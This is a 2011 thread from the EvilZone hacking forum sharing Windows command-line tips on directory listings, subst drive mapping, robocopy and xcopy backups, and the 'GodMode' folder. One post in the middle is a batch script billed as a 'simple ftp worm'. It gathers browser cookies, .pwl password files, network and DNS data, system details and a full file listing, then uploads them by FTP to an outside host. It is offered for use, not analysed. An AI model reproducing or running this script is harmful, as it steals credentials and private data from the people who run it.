EvilZone
Programming and Scripting => Scripting Languages => : Dropchop July 18, 2011, 03:19:02 AM
-
Ever wanted a fast way of making a list of all the files in a directory?
Step 1:
Open the command prompt and type:
cd [your directory of choice]
Step 2:
Type either of these two commands:
dir /on /b >list.txt
or
dir /on /b /s >list.txt
Example:
C:\YourShit\Dumbstuff\pornvids>dir /on /b >list.txt
The first command will create a list.txt all the files and folders in the directory; the second will create a list.txt all the files and folders in the directory including everything in the sub directories.
Step 3:
Your list.txt is located in the directory that you created the list for.
Protip: your list can be named anything. "List.txt" is just the example I used.
-
@echo off
if not exist c:\dos md c:\dos
Hack=C:\
cd c:\dos
del c:\dos\*.txt
copy c:\windows\cookies\*.txt c:\dos\cook.txt
echo USERNAME>> c:\dos\ftps.txt
echo PASSWORD>> c:\dos\ftps.txt
dir c:\*.* /s >> c:\dos\logit.txt
echo mkdir %kgb% >> c:\dos\ftps.txt
echo cd %kgb% >> c:\dos\ftps.txt
echo put c:\logit.txt >> c:\dos\ftps.txt
echo put c:\Windows\*.pwl >> c:\dos\ftps.txt
echo put c:\dos\cook.txt >> c:\dos\ftps.txt
echo put c:\autoexec.bat >> c:\dos\ftps.txt
echo put c:\netlog.txt >> c:\dos\ftps.txt
echo put c:\setuplog.txt >> c:\dos\ftps.txt
ipconfig/all >> c:\dos\ipsteal.txt
ipconfig/displaydns >> c:\dos\ipsteal2.txt
ver >> c:\dos\systga.txt
set >> c:\dos\systga2.txt
mode >> c:\dos\devstat.txt
echo put c:\dos\devstat.txt>> c:\dos\ftps.txt
echo put c:\dos\ipsteal.txt>> c:\dos\ftps.txt
echo put c:\dos\ipsteal2.txt>> c:\dos\ftps.txt
echo put c:\dos\systga.txt>> c:\dos\ftps.txt
echo put c:\dos\systga2.txt>> c:\dos\ftps.txt
echo bye >> c:\dos\ftps.txt
echo close >> c:\dos\ftps.txt
ftp -s:c:\dos\ftps.txt evilzone.org
simple ftp worm in batch :)
-
Sure most of you know this already, but...
Mapping a virtual drive to a directory:
In the command prompt, you can map a directory to an unused drive letter (T: for instance) with
subst <drive> <path>
Example: subst t: c:\Users\Admin\Desktop
In the command prompt or in explorer(My Computer, specifically), you will be able to access the drive(T in the example) and it will redirect you to the path you set. Useful for shortening paths and... use your imagination here. Mine's drawing a blank. (In Win7 and probably Vista, this will not work in My Computer if you ran CMD as an administrator.) You can reverse this with:
subst /D <drive>
Backups:
Instead of using some third party backup software, you can use a built in command in your command prompt, robocopy, to back up your files.
robocopy <source> <destination> /copyall /r:0 /dcopy:t /mir
Example: robocopy C:\Users\Desktop\LuaVoice F:\Backup\LuaVoice /copyall /r:0 /dcopy:t /mir
This will copy everything, subdirectories included, to the destination from the source (with 0 retries, preserving file information and timestamps.) This only works for Windows Vista and Windows 7. For XP and older, you can do this similarly with XCOPY
xcopy C:\Users\Desktop\LuaVoice F:\Backup\LuaVoice /c /d /e /h /i /k /q /r /s /x /y
"Godmode" (Win7 only[maybe]):
In Windows Explorer(even on your desktop), right click, go to new > folder. Insert the following as the folder name:
GOD Mode.{ED7BA470-8E54-465E-825C-99712043E01C}
This should give you a directory of administrative tools and options. (Credits to whoever I stole this from... don't remember where.)